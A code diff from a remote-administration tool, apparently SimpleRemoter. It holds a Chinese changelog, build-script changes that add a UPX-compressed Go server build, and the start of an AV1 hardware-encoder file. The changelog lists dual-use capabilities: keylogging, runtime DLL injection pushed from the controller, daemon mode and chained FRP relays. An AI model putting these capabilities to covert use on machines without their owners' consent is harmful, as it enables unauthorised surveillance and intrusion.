- **靜畫跳編碼**:擷取層比對前後影格,完全相同時跳過編碼與傳輸——硬體編碼器在靜畫時不再被強行餵入相同影格
|
||||||
- **Linux 用戶端**:H.264 硬體編碼(動態載入 libx264)、XFixes 游標類型偵測、UTF-8 協議能力位
|
- **選單驅動的壓縮 / 解壓**:自訂檔案 + 資料夾選擇器(`ZstaPickerDlg`),可從遠端主機直接選混合目錄樹打包或解壓到目標路徑
|
||||||
- **macOS 用戶端**:檔案管理員、遠端終端機(共享 PTYHandler)、剪貼簿同步、守護程序模式 (-d)、電源管理、螢幕鎖定/閒置偵測、CGDisplayStream 推送模式最佳化
|
- **下級主控自動啟動 frp client**:上級簽發 V2 授權時一併下發 frp 設定,子級主控啟動即接通中繼鏈路,無需人工設定 `frpc.toml`
|
||||||
- **主控**:螢幕預覽縮圖、區域截圖、遠端桌面縮放、Web 使用者依群組過濾、嵌入式現代終端、自適應螢幕演算法、外部資源覆蓋、群組持久化、Build Dialog 支援產生 macOS 用戶端
|
- **合規可裁剪建置**:`DISABLE_X264` / `DISABLE_FFMPEG` 編譯開關,可在不動原始碼的前提下產出完全不含 x264 / FFmpeg 的二進位,搭配 `LICENSE-THIRD-PARTY.txt`
|
||||||
|
|
||||||
**重構:**
|
|
||||||
- Linux/macOS 用戶端共享程式碼抽到 `common/`(rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread),減少約 300 行重複
|
|
||||||
|
|
||||||
**改進:**
|
**改進:**
|
||||||
- 現代終端 SYSTEM 相容:自動回退到經典終端,資訊列表給出精確原因
|
- **多客戶授權伺服端硬化**:`licenses.ini` hot-path 互斥鎖 + 30s 節流,寫入頻率從 0.6 → 0.07 次/秒(外推 100 在線:~160 → ~3.3 次/秒);閉環「預設續期配額消失」的 read-modify-write 競態
|
||||||
- `build.ps1` 新增 `vswhere` 兜底(VS 裝在非預設磁碟也能找到)
|
- **`licenses.ini` IP 清單 4KB 截斷修復**:分段寫入避免溢出尾部被永久丟棄
|
||||||
- 強制 `/source-charset:utf-8 /execution-charset:.936` 解決英語 Windows 編譯中文亂碼
|
- **匯入 SN 按 `BindType` 嚴格校驗**:避免離線版 / 連線版 / 試用版 SN 串庫
|
||||||
- macOS `install.sh` 來源 binary 優先順序最佳化(命令列 → 同目錄 → build/bin),適配分發場景
|
- **用戶端 SCLoader 大瘦身**:移除一萬行硬編碼 stub(`SCLoader.cpp`),改用主控執行時下發 DLL 注入
|
||||||
|
- **用戶端 logger 優雅退出**:程序結束時刷出佇列裡的日誌並記錄退出訊號
|
||||||
|
- **IOCPClient 早期封包防護**:`setManagerCallBack` 之前抵達的封包不再觸發空回呼崩潰
|
||||||
|
- **多顯示器游標位置修正 & MJPEG 錄製翻轉修復**:trace cursor 跨螢幕座標系修正;MJPEG 上下顛倒回放修正 + 編碼失敗 0 位元組 AVI 殘留清理
|
||||||
|
- **FRP `privilegeKey` 改用 UTC 時間戳**:跨時區主控 / 中繼 / 用戶端不再因本地時區讓 frp auth 失效
|
||||||
|
- **Linux 用戶端 `install.sh` / `uninstall.sh`**:補齊一鍵部署 / 解除安裝指令稿
|
||||||
|
- **Go 伺服端建置管線**:`build.ps1` / `build.cmd` 把 Go 主控納入主建置流程
|
||||||
|
- **Release / Download 連結全面遷移到 Gitea**:v1.3.4+ 不再發行到 GitHub
|
||||||
|
|
||||||
**Bug 修復:**
|
**Bug 修復:**
|
||||||
- V2 檔案傳輸在檔案管理器對話方塊雙向均損壞(上傳 IP 路由錯亂 + 下載 chunk 未分發)
|
- Web 檔案管理觸控雙擊不穩:觸控閾值放寬避免誤判拖曳 + 兩次 `click` 模擬實體雙擊;修復跨平台資料夾重新命名 / 點擊無回應
|
||||||
- 現代終端在 SYSTEM 權限下空白(WebView2 不支援 LocalSystem)
|
- 向 sub-master 發送 AUTH 時密碼產生路徑錯誤,下級始終認證失敗
|
||||||
- Linux 用戶端 UTF-8 路徑/作用視窗在服務端亂碼
|
- 試用 SN 誤進入 V2 / V1 授權下發分支
|
||||||
- 日誌列表表頭點擊錯誤排序到主機列表
|
|
||||||
- LVM_SETUNICODEFORMAT 後表頭排序失效(補充 HDN_ITEMCLICKW 對應)
|
### v1.3.4 (2026.5.20)
|
||||||
- 服務+代理 Release 模式系統匣圖示不顯示
|
|
||||||
- macOS/Linux 用戶端群組變更後未重發 LOGIN_INFOR
|
**Go 主控 & 全平台主控閉環 & Linux/macOS 用戶端剪貼簿**
|
||||||
- 檔案對話方塊 map 中野指標導致崩潰
|
|
||||||
- 重連時未清回呼導致存取已銷毀 handler 崩潰
|
**新功能:**
|
||||||
- MFC 與 Web 遠端桌面工作階段未完全獨立
|
- **Go 主控**:Go 語言實作的跨平台輕量主控服務(Windows / Linux / macOS),聚焦於「遠端桌面 + 遠端終端 + 多使用者分級」——不取代 MFC 主控,為需要純 Linux/macOS 落地的運維情境兜底
|
||||||
- macOS 鎖屏狀態遠端桌面啟動時未喚醒顯示器
|
- **Web 遠端桌面(Go 主控)**:H.264 → WebSocket → WebCodecs 解碼、1080P @ 20fps、桌面 + 行動端全適配;遠端游標同步、Keyboard Lock 防 ESC/F11 誤退、控制態下 F11/Esc 直傳目標
|
||||||
- MFC 遠端桌面觸控板雙指捲動失效
|
- **Web 遠端終端(Go 主控)**:xterm.js + PTY/ConPTY 透明轉發、調整尺寸、中斷自動清理面板
|
||||||
|
- **多使用者體系(Go 主控)**:管理員 / 一般使用者分級、按裝置群授權、Challenge-Response 登入、登入限流(IP + 使用者名)、不透明 token
|
||||||
|
- **Linux 用戶端剪貼簿**:基於 xclip / xsel 的雙向剪貼簿同步,支援 `text/uri-list` 檔案路徑
|
||||||
|
- **macOS 用戶端剪貼簿**:基於 NSPasteboard 的雙向剪貼簿同步,檔案 URL + 舊版 API 相容
|
||||||
|
|
||||||
|
**改進:**
|
||||||
|
- Web 工作階段自適應品質被 clamp 到 H264-only 等級(≥ Good),避免 Ultra/High(DIFF/RGB565)讓瀏覽器無法解碼
|
||||||
|
- Linux 用戶端預設 `QualityLevel` 改為 `QUALITY_GOOD`(對齊 Windows/macOS),不再請求伺服端自適應
|
||||||
|
- 登入文字欄位按用戶端能力位條件解碼 UTF-8 / GBK,修正德文 / 法文等帶變音符的主機名 / 地理位置亂碼
|
||||||
|
- 裝置清單穩定排序(按上線時間),避免每次心跳 / WS 推播都洗牌
|
||||||
|
- RDP 重置按鈕接通到裝置端 `CMD_RESTORE_CONSOLE`
|
||||||
|
- MFC 主控開啟 Web 遠控工作階段時不再短暫閃一下視窗(OnInitDialog 工作階段判定上移)
|
||||||
|
|
||||||
|
**Bug 修復:**
|
||||||
|
- Web 工作階段從全螢幕點關閉後裝置清單點擊失靈(fullscreen 子樹規則,`showPage` 統一退全螢幕)
|
||||||
|
- 用戶端突然中斷後 Web 遠控頁面停留在 "Connected" 永不更新(新增 `device_offline` 通知)
|
||||||
|
- 多顯示器輪詢導致兩路螢幕子連線同時灌影格,畫面在兩個顯示器間跳變(`BindScreenConn` 退役舊 sub-conn)
|
||||||
|
- Go 主控 `ListDevices` 因 map 迭代隨機化導致清單亂序
|
||||||
|
|
||||||
|
### v1.3.3 (2026.5.10)
|
||||||
|
|
||||||
|
**Linux/macOS 用戶端深化 & 雙層認證安全**
|
||||||
|
|
||||||
|
- 伺服端身份校驗(Layer 1):Linux/macOS 用戶端 HMAC-SHA256 校驗伺服端身份
|
||||||
|
- 子連線認證(Layer 2,TOKEN_CONN_AUTH):所有子連線首封簽章 + clientID 釘死
|
||||||
|
- Linux 用戶端:H.264 硬體編碼、XFixes 游標類型偵測、UTF-8 協定能力位
|
||||||
|
- macOS 用戶端:檔案管理器、遠端終端、剪貼簿同步、常駐程序模式
|
||||||
|
- 主控:螢幕預覽縮圖、區域截圖、遠端桌面縮放、Web 使用者按群過濾
|
||||||
|
- 共用程式碼抽到 `common/`(rtt_estimator / client_auth_state / posix_net_helpers)
|
||||||
|
|
||||||
### v1.3.2 (2026.5.1)
|
### v1.3.2 (2026.5.1)
|
||||||
|
|
||||||
**macOS 用戶端 & Web 遠端桌面增強**
|
**macOS 用戶端 & Web 遠端桌面增強**
|
||||||
|
|
||||||
**新功能:**
|
- 全新 macOS 原生用戶端:螢幕擷取、H.264 編碼、鍵鼠控制
|
||||||
- macOS 用戶端支援:全新實現的 macOS 原生用戶端,支援螢幕擷取、H.264 編碼、鍵鼠控制、系統權限管理
|
- Web 遠端桌面游標同步
|
||||||
- Web 遠端桌面游標同步:瀏覽器端即時顯示遠端主機游標樣式
|
- 觸發器功能、使用者管理(角色權限)
|
||||||
- 觸發器功能:支援主機上線事件觸發自訂操作
|
- DLL 執行增強、遠端桌面輸入法切換
|
||||||
- 使用者管理功能:新增角色權限管理,支援多使用者分級控制
|
|
||||||
- DLL 執行增強:參數持久化儲存、支援自動執行設定
|
|
||||||
- 遠端桌面輸入法切換:支援遠端切換被控端輸入語言
|
|
||||||
|
|
||||||
**改進:**
|
|
||||||
- Web 遠端桌面手勢最佳化:改進雙指手勢識別、雙擊拖曳、Shift 組合鍵支援
|
|
||||||
|
|
||||||
**Bug 修復:**
|
|
||||||
- 修復 Web 遠端桌面在 macOS 用戶端上雙擊無法開啟檔案的問題
|
|
||||||
- 修復 macOS 完全磁碟存取權限偵測不準確的問題
|
|
||||||
- 修復 RestoreMemDLL 因 DLL 資訊大小錯誤導致還原失敗
|
|
||||||
- 修復多個 DLL 同時執行可能因全域變數衝突而失敗
|
|
||||||
- 修復滑鼠雙擊和遠端桌面切換問題
|
|
||||||
- 修復 Linux 用戶端編譯缺少 libzstd.a 的問題
|
|
||||||
|
|
||||||
### v1.3.1 (2026.4.15)
|
### v1.3.1 (2026.4.15)
|
||||||
|
|
||||||
**Web 遠端桌面 & 多主控共享增強**
|
**Web 遠端桌面(MFC 主控)& 多主控共享增強**
|
||||||
|
|
||||||
**新功能:**
|
- Web 遠端桌面:基於 WebSocket 實作,手機 / 平板瀏覽器存取
|
||||||
- Web 遠端桌面:基於 WebSocket 實現,支援手機/平板透過瀏覽器存取遠端桌面([設定指南](./docs/WebHTTPS.md))
|
- 多顯示器停用自適應、狀態列到期日期自動更新
|
||||||
- 撤銷共享選單:支援撤銷已共享給其他主控的用戶端
|
- 多層授權自動更新、DLL 快取重用
|
||||||
- 工具列音訊控制:遠端桌面工具列新增系統音訊開關圖示
|
|
||||||
|
|
||||||
**改進:**
|
|
||||||
- 多顯示器停用自適應:用戶端有多個顯示器時自動停用自適應品質
|
|
||||||
- 狀態列過期日期自動更新:授權續期後狀態列立即重新整理
|
|
||||||
- 減少無效離線日誌:用戶端不在主機清單時減少離線日誌輸出
|
|
||||||
- 多層授權自動更新:第二層及以下主控的授權自動同步更新
|
|
||||||
- 使用提示增強:新增多處操作提示改善使用者體驗
|
|
||||||
- DLL 快取復用:將 DLL 儲存到登錄檔,下次啟動時直接復用
|
|
||||||
|
|
||||||
**Bug 修復:**
|
|
||||||
- 修復共享用戶端時鍵盤記錄可能無法正常運作的問題
|
|
||||||
|
|
||||||
### v1.3.0 (2026.4.8)
|
### v1.3.0 (2026.4.8)
|
||||||
|
|
||||||
**多層級 FRP 架構 & 品牌定制**
|
**多層級 FRP 架構 & 品牌客製化**
|
||||||
|
|
||||||
**新功能:**
|
- 本機 FRPS 伺服器、多層級架構自動 FRP 整合
|
||||||
- 本地 FRPS 伺服器支援(僅 64 位元):內建 FRP 伺服端,簡化部署
|
- V2 授權下級連線數限制、授權檔匯入 / 匯出
|
||||||
- 多層級架構自動 FRP 整合:下級主控自動取得上級 FRP 設定
|
- 增強型硬體 ID (V2)、UI 品牌客製化
|
||||||
- V2 授權下級連線數限制:支援控制下級並發連線數
|
- 執行時功能限制可設定
|
||||||
- 許可證檔案匯入/匯出支援(.lic 格式)
|
|
||||||
- 過期授權續期支援:無需重新產生許可證
|
|
||||||
- 增強型硬體 ID (V2):解決 VPS 重複 SN 問題
|
|
||||||
- MaxDepth 控制:限制分級 Master 層級深度
|
|
||||||
- 許可證管理增強:配額支援、動態對話框、刪除功能
|
|
||||||
- IP 定位 API 多提供商回退:提高定位成功率
|
|
||||||
- UI 品牌定制:支援自訂程式名稱、Logo、版權等
|
|
||||||
- 執行時功能限制:試用版功能限制可設定
|
|
||||||
- 輸入歷史下拉框:快速選擇歷史輸入
|
|
||||||
- 產生用戶端新增選項:更多自訂設定
|
|
||||||
- 支援動態修改專案連結:無需重新編譯更換說明/回饋連結
|
|
||||||
|
|
||||||
**Bug 修復:**
|
### 更早版本
|
||||||
- 修復 RebuildFilteredIndices 的 Use-after-free 崩潰
|
|
||||||
- 修復 CLock::Lock 中 IOCP 競態條件崩潰 (#215)
|
|
||||||
- 修復崩潰保護服務清理和代理提升問題
|
|
||||||
- 修復訊息日誌無限增長導致的潛在崩潰
|
|
||||||
- 修復 FeatureFlags 引入後 UpperHash 字串長度問題
|
|
||||||
- 修復用戶端 SN 產生以支援 HWIDVersion 設定
|
|
||||||
|
|
||||||
**改進:**
|
v1.2.x 系列(郵件通知、遠端音訊 Opus、V2 授權協定、V2 檔案傳輸、現代 Web 終端 xterm.js、遠端桌面工具列重寫、自適應品質控制、Linux 用戶端初版……)及 2019 年以來的全部演進,請見 [history.md](./history.md)。
|
||||||
- 重構 res/ 目錄結構,新增選單圖示
|
|
||||||
- 過期密碼不再被自動清除
|
|
||||||
- 保持下級主控與第一層主控的連線穩定
|
|
||||||
|
|
||||||
### v1.0.2.9 (2026.3.27)
|
|
||||||
|
|
||||||
**網路安全 & 穩定性增強**
|
|
||||||
|
|
||||||
**新功能:**
|
|
||||||
- 網路設定對話框:IP 白名單/黑名單管理,即時生效
|
|
||||||
- 可設定的連線限流:DLL 請求限流、IP 封禁閾值可調
|
|
||||||
- IP 歷史記錄對話框:檢視授權 IP 登入歷史
|
|
||||||
- 狀態列顯示 MTBF/執行時間和授權到期日期
|
|
||||||
- 代理崩潰保護:5 分鐘內 3 次崩潰自動切換一般模式
|
|
||||||
- 用戶端搜尋功能:Ctrl+F 快速搜尋 IP、位置、電腦名稱
|
|
||||||
- 自動封禁異常 IP:60 秒內超過 15 次連線自動封禁 1 小時
|
|
||||||
- Proxy Protocol v2 支援:FRP 代理後取得真實用戶端 IP
|
|
||||||
- Linux 剪貼簿同步和 V2 檔案傳輸支援
|
|
||||||
- 右鍵選單執行用戶端程式
|
|
||||||
- 多層授權混淆支援
|
|
||||||
|
|
||||||
**Bug 修復:**
|
|
||||||
- 修復 OnUserOfflineMsg 競態條件導致的崩潰
|
|
||||||
- 修復用戶端請求 FRPC DLL 時 FrpcParam 遺失
|
|
||||||
- 最大資料封包從 10MB 增加到 50MB
|
|
||||||
- 支援 mstsc 遠端工作階段讀取使用者登錄檔
|
|
||||||
- 修復遠端桌面最小化時剪貼簿誤觸發
|
|
||||||
- 修復操作程序對話框時主控崩潰
|
|
||||||
- 狀態列主機數量即時更新
|
|
||||||
- Linux select() 呼叫前重設 timeval
|
|
||||||
- 授權碼格式驗證,過濾垃圾資料
|
|
||||||
|
|
||||||
**改進:**
|
|
||||||
- 增強授權檢查,新增 IP 封禁提示
|
|
||||||
- 支援主控程式以使用者權限執行
|
|
||||||
- 大型 DLL 自動使用 TinyRun 回退方案
|
|
||||||
|
|
||||||
### v1.2.8 (2026.3.11)
|
|
||||||
|
|
||||||
**郵件通知 & 遠端音訊**
|
|
||||||
|
|
||||||
- 主機上線郵件通知(SMTP 配置、關鍵字匹配、右鍵快捷添加)
|
|
||||||
- 遠端音訊播放(WASAPI Loopback)+ Opus 壓縮(24:1)
|
|
||||||
- 多 FRPS 伺服器同時連接支援
|
|
||||||
- 自訂游標顯示和追蹤
|
|
||||||
- V2 授權協定(ECDSA 簽名)
|
|
||||||
- 修復非中文 Windows 系統亂碼問題
|
|
||||||
- Linux 用戶端螢幕壓縮演算法優化
|
|
||||||
|
|
||||||
### v1.2.7 (2026.2.28)
|
|
||||||
|
|
||||||
**V2 檔案傳輸協定**
|
|
||||||
|
|
||||||
- 支援 C2C(用戶端到用戶端)直接傳輸
|
|
||||||
- 斷點續傳和大檔案支援(>4GB)
|
|
||||||
- SHA-256 檔案完整性校驗
|
|
||||||
- WebView2 + xterm.js 現代終端
|
|
||||||
- Linux 檔案管理支援
|
|
||||||
- 主機清單批次更新優化,減少 UI 閃爍
|
|
||||||
|
|
||||||
### v1.2.6 (2026.2.16)
|
|
||||||
|
|
||||||
**遠端桌面工具列重寫**
|
|
||||||
|
|
||||||
- 狀態視窗顯示 RTT、幀率、解析度
|
|
||||||
- 全螢幕工具列支援 4 個位置和多顯示器
|
|
||||||
- H.264 頻寬優化
|
|
||||||
- 授權管理 UI 完善
|
|
||||||
|
|
||||||
### v1.2.5 (2026.2.11)
|
|
||||||
|
|
||||||
**自適應品質控制 & Linux 用戶端**
|
|
||||||
|
|
||||||
- 基於 RTT 的智慧品質調整
|
|
||||||
- RGB565 演算法(節省 50% 頻寬)
|
|
||||||
- 捲動偵測優化(節省 50-80% 頻寬)
|
|
||||||
- Linux 用戶端初版發佈
|
|
||||||
|
|
||||||
完整更新歷史請檢視:[history.md](./history.md)
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,8 @@
|
|||||||
@echo off
|
@echo off
|
||||||
:: SimpleRemoter Quick Build Script
|
:: SimpleRemoter Quick Build Script
|
||||||
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish]
|
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish|go-server]
|
||||||
|
:: go-server Build Go fallback server only -> Bin\YamaGo_x64.exe
|
||||||
|
:: go-server publish Same, plus UPX --best compression
|
||||||
|
|
||||||
setlocal enabledelayedexpansion
|
setlocal enabledelayedexpansion
|
||||||
|
|
||||||
@@ -18,6 +20,7 @@ if /i "%~1"=="all" (set PLATFORM=all& shift& goto :parse_args)
|
|||||||
if /i "%~1"=="server" (set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :parse_args)
|
if /i "%~1"=="server" (set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :parse_args)
|
||||||
if /i "%~1"=="clean" (set EXTRA_ARGS=!EXTRA_ARGS! -Clean& shift& goto :parse_args)
|
if /i "%~1"=="clean" (set EXTRA_ARGS=!EXTRA_ARGS! -Clean& shift& goto :parse_args)
|
||||||
if /i "%~1"=="publish" (set EXTRA_ARGS=!EXTRA_ARGS! -Publish& shift& goto :parse_args)
|
if /i "%~1"=="publish" (set EXTRA_ARGS=!EXTRA_ARGS! -Publish& shift& goto :parse_args)
|
||||||
|
if /i "%~1"=="go-server" (set EXTRA_ARGS=!EXTRA_ARGS! -GoServer& shift& goto :parse_args)
|
||||||
echo Unknown argument: %~1
|
echo Unknown argument: %~1
|
||||||
shift
|
shift
|
||||||
goto :parse_args
|
goto :parse_args
|
||||||
|
|||||||
103
build.ps1
@@ -15,11 +15,110 @@ param(
|
|||||||
|
|
||||||
[switch]$ServerOnly, # Only build main server (Yama), skip client projects
|
[switch]$ServerOnly, # Only build main server (Yama), skip client projects
|
||||||
[switch]$Clean, # Clean before build
|
[switch]$Clean, # Clean before build
|
||||||
[switch]$Publish # Publish mode: rebuild all deps + x64 Release + UPX compress
|
[switch]$Publish, # Publish mode: rebuild all deps + x64 Release + UPX compress
|
||||||
|
[switch]$GoServer # Build Go fallback server (server/go) -> Bin/YamaGo_x64.exe
|
||||||
)
|
)
|
||||||
|
|
||||||
$ErrorActionPreference = "Stop"
|
$ErrorActionPreference = "Stop"
|
||||||
|
|
||||||
|
$rootDir = $PSScriptRoot
|
||||||
|
$binDir = Join-Path $rootDir "Bin"
|
||||||
|
$upxPath = Join-Path $rootDir "server\2015Remote\res\3rd\upx.exe"
|
||||||
|
|
||||||
|
# Build Go fallback server. No-op (with warning) if Go compiler is not installed.
|
||||||
|
# When -Compress is set, run UPX --best on the output (mirrors C++ publish flow).
|
||||||
|
function Build-GoServer {
|
||||||
|
param(
|
||||||
|
[string]$Configuration,
|
||||||
|
[switch]$Compress
|
||||||
|
)
|
||||||
|
|
||||||
|
Write-Host ""
|
||||||
|
Write-Host "Building Go server (server/go)..." -ForegroundColor Magenta
|
||||||
|
|
||||||
|
$goCmd = Get-Command go -ErrorAction SilentlyContinue
|
||||||
|
if (-not $goCmd) {
|
||||||
|
Write-Host "WARNING: Go compiler not found in PATH. Skipping Go server build." -ForegroundColor Yellow
|
||||||
|
Write-Host " Install from https://go.dev/dl/ and ensure 'go' is in PATH." -ForegroundColor DarkGray
|
||||||
|
return $false
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Host "Using Go: $($goCmd.Source)" -ForegroundColor Cyan
|
||||||
|
|
||||||
|
$goDir = Join-Path $rootDir "server\go"
|
||||||
|
if (-not (Test-Path $goDir)) {
|
||||||
|
Write-Host "ERROR: Go source directory not found at $goDir" -ForegroundColor Red
|
||||||
|
return $false
|
||||||
|
}
|
||||||
|
|
||||||
|
# Sync web assets (mirrors Makefile `sync` target — single source is server/web/index.html)
|
||||||
|
$webSrc = Join-Path $rootDir "server\web\index.html"
|
||||||
|
$webDstDir = Join-Path $goDir "web\assets"
|
||||||
|
if (Test-Path $webSrc) {
|
||||||
|
if (-not (Test-Path $webDstDir)) { New-Item -ItemType Directory -Path $webDstDir -Force | Out-Null }
|
||||||
|
Copy-Item -Path $webSrc -Destination (Join-Path $webDstDir "index.html") -Force
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not (Test-Path $binDir)) { New-Item -ItemType Directory -Path $binDir -Force | Out-Null }
|
||||||
|
|
||||||
|
$outFile = Join-Path $binDir "YamaGo_x64.exe"
|
||||||
|
# Release strips debug info for smaller binary; Debug keeps symbols.
|
||||||
|
$ldflags = if ($Configuration -eq "Debug") { "" } else { "-s -w" }
|
||||||
|
|
||||||
|
Push-Location $goDir
|
||||||
|
try {
|
||||||
|
$env:GOOS = "windows"
|
||||||
|
$env:GOARCH = "amd64"
|
||||||
|
if ($ldflags) {
|
||||||
|
& go build -ldflags $ldflags -o $outFile ./cmd
|
||||||
|
} else {
|
||||||
|
& go build -o $outFile ./cmd
|
||||||
|
}
|
||||||
|
$code = $LASTEXITCODE
|
||||||
|
} finally {
|
||||||
|
Pop-Location
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($code -ne 0) {
|
||||||
|
Write-Host "ERROR: Go build failed (exit $code)" -ForegroundColor Red
|
||||||
|
return $false
|
||||||
|
}
|
||||||
|
|
||||||
|
$size = (Get-Item $outFile).Length / 1MB
|
||||||
|
Write-Host "OK: $outFile ($($size.ToString('F2')) MB)" -ForegroundColor Green
|
||||||
|
|
||||||
|
# In-place UPX compression. Failure is a warning, not an error — the
|
||||||
|
# uncompressed binary is still usable, and UPX occasionally refuses on
|
||||||
|
# certain PE sections.
|
||||||
|
if ($Compress) {
|
||||||
|
Write-Host ""
|
||||||
|
Write-Host "UPX compressing Go server..." -ForegroundColor Magenta
|
||||||
|
if (-not (Test-Path $upxPath)) {
|
||||||
|
Write-Host "WARNING: UPX not found at $upxPath — skipping compression" -ForegroundColor Yellow
|
||||||
|
} else {
|
||||||
|
$sizeBefore = (Get-Item $outFile).Length / 1MB
|
||||||
|
Write-Host " Before: $($sizeBefore.ToString('F2')) MB" -ForegroundColor DarkGray
|
||||||
|
& $upxPath --best $outFile
|
||||||
|
if ($LASTEXITCODE -ne 0) {
|
||||||
|
Write-Host "WARNING: UPX compression failed, uncompressed binary kept" -ForegroundColor Yellow
|
||||||
|
} else {
|
||||||
|
$sizeAfter = (Get-Item $outFile).Length / 1MB
|
||||||
|
$ratio = (1 - $sizeAfter / $sizeBefore) * 100
|
||||||
|
Write-Host " After: $($sizeAfter.ToString('F2')) MB (-$($ratio.ToString('F1'))%)" -ForegroundColor Green
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return $true
|
||||||
|
}
|
||||||
|
|
||||||
|
# Go-only fast path: skip MSBuild entirely. -Publish here means "compress the
|
||||||
|
# Go binary too" (not the full C++ publish flow).
|
||||||
|
if ($GoServer) {
|
||||||
|
$ok = Build-GoServer -Configuration $Config -Compress:$Publish
|
||||||
|
if (-not $ok) { exit 1 }
|
||||||
|
exit 0
|
||||||
|
}
|
||||||
|
|
||||||
# Find MSBuild (VS2019 or VS2022, including Insiders/Preview)
|
# Find MSBuild (VS2019 or VS2022, including Insiders/Preview)
|
||||||
# Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools
|
# Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools
|
||||||
$msBuildPaths = @(
|
$msBuildPaths = @(
|
||||||
@@ -72,9 +171,7 @@ elseif ($msBuild -match "\\18\\") { $vsYear = "2019 Insiders" }
|
|||||||
|
|
||||||
Write-Host "Using MSBuild: $msBuild" -ForegroundColor Cyan
|
Write-Host "Using MSBuild: $msBuild" -ForegroundColor Cyan
|
||||||
|
|
||||||
$rootDir = $PSScriptRoot
|
|
||||||
$slnFile = Join-Path $rootDir "YAMA.sln"
|
$slnFile = Join-Path $rootDir "YAMA.sln"
|
||||||
$upxPath = Join-Path $rootDir "server\2015Remote\res\3rd\upx.exe"
|
|
||||||
|
|
||||||
# Publish mode overrides
|
# Publish mode overrides
|
||||||
if ($Publish) {
|
if ($Publish) {
|
||||||
|
|||||||
243
client/CFFmpegAV1Encoder.cpp
Normal file
@@ -0,0 +1,243 @@
|
|||||||
|
#include "CFFmpegAV1Encoder.h"
|
||||||
|
#include "common/config.h"
|
||||||
|
#include "common/logger.h"
|
||||||
|
|
||||||
|
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时整个实现移出编译单元(FFmpeg lib 已在
|
||||||
|
// CFFmpegH264Encoder.cpp 用同条件链接,此处不重复 #pragma comment)
|
||||||
|
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||||
|
|
||||||
|
extern "C" {
|
||||||
|
#include <libavcodec/avcodec.h>
|
||||||
|
#include <libavutil/opt.h>
|
||||||
|
#include <libavutil/imgutils.h>
|
||||||
|
#include <libyuv/libyuv.h>
|
||||||
|
}
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
// FFmpeg / 系统库已经由 CFFmpegH264Encoder.cpp 的 #pragma comment(lib) 引入。
|
||||||
|
// 这里不再重复声明(重复 #pragma comment 在同一 link 单元不冲突但冗余)。
|
||||||
|
|
||||||
|
// av_opt_set 包装:拼错的参数值会被 FFmpeg 静默忽略,包一层日志便于发现。
|
||||||
|
// 实现与 CFFmpegH264Encoder 内的 helper 相同;放成 static 文件内可见即可。
|
||||||
|
static void setOpt(void* obj, const char* name, const char* val, const char* backend) {
|
||||||
|
int rc = av_opt_set(obj, name, val, 0);
|
||||||
|
if (rc < 0) {
|
||||||
|
char errbuf[128] = {0};
|
||||||
|
av_strerror(rc, errbuf, sizeof(errbuf));
|
||||||
|
Mprintf("[WARN] av_opt_set('%s'='%s') on %s failed (%d): %s\n",
|
||||||
|
name, val, backend, rc, errbuf);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
static void setOptInt(void* obj, const char* name, int64_t val, const char* backend) {
|
||||||
|
int rc = av_opt_set_int(obj, name, val, 0);
|
||||||
|
if (rc < 0) {
|
||||||
|
char errbuf[128] = {0};
|
||||||
|
av_strerror(rc, errbuf, sizeof(errbuf));
|
||||||
|
Mprintf("[WARN] av_opt_set_int('%s'=%lld) on %s failed (%d): %s\n",
|
||||||
|
name, (long long)val, backend, rc, errbuf);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// AV1 硬编后端探测顺序,没有 av1_mf 兜底(FFmpeg 7.1 不支持)。
|
||||||
|
// 全失败时 EncoderFactory 自动回退到 H.264 路径,行为对称。
|
||||||
|
static const char* kAV1Backends[] = {
|
||||||
|
"av1_nvenc", // NVIDIA RTX 40 / 50 系(Ada Lovelace+)
|
||||||
|
"av1_amf", // AMD RX 7000+(RDNA 3+)
|
||||||
|
"av1_qsv", // Intel Arc 独显 / 部分 11 代+ 核显
|
||||||
|
};
|
||||||
|
|
||||||
|
CFFmpegAV1Encoder::CFFmpegAV1Encoder() = default;
|
||||||
|
|
||||||
|
CFFmpegAV1Encoder::~CFFmpegAV1Encoder() {
|
||||||
|
close();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFFmpegAV1Encoder::cleanupCodec() {
|
||||||
|
if (m_packet) { av_packet_free(&m_packet); m_packet = nullptr; }
|
||||||
|
if (m_frame) { av_frame_free(&m_frame); m_frame = nullptr; }
|
||||||
|
if (m_ctx) { avcodec_free_context(&m_ctx); m_ctx = nullptr; }
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFFmpegAV1Encoder::close() {
|
||||||
|
cleanupCodec();
|
||||||
|
m_backend.clear();
|
||||||
|
m_pts = 0;
|
||||||
|
m_forceIDR = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CFFmpegAV1Encoder::open(const EncoderParams& params) {
|
||||||
|
close();
|
||||||
|
for (const char* name : kAV1Backends) {
|
||||||
|
if (tryOpenBackend(name, params)) {
|
||||||
|
m_backend = name;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
cleanupCodec();
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CFFmpegAV1Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
|
||||||
|
const AVCodec* codec = avcodec_find_encoder_by_name(name);
|
||||||
|
if (!codec) {
|
||||||
|
// AV1 硬编没注册 = 老 ffmpeg lib 不含 AV1 encoder(compress\ffmpeg 没启用 av1)
|
||||||
|
Mprintf("=> FFmpeg: AV1 encoder '%s' NOT in linked lib\n", name);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
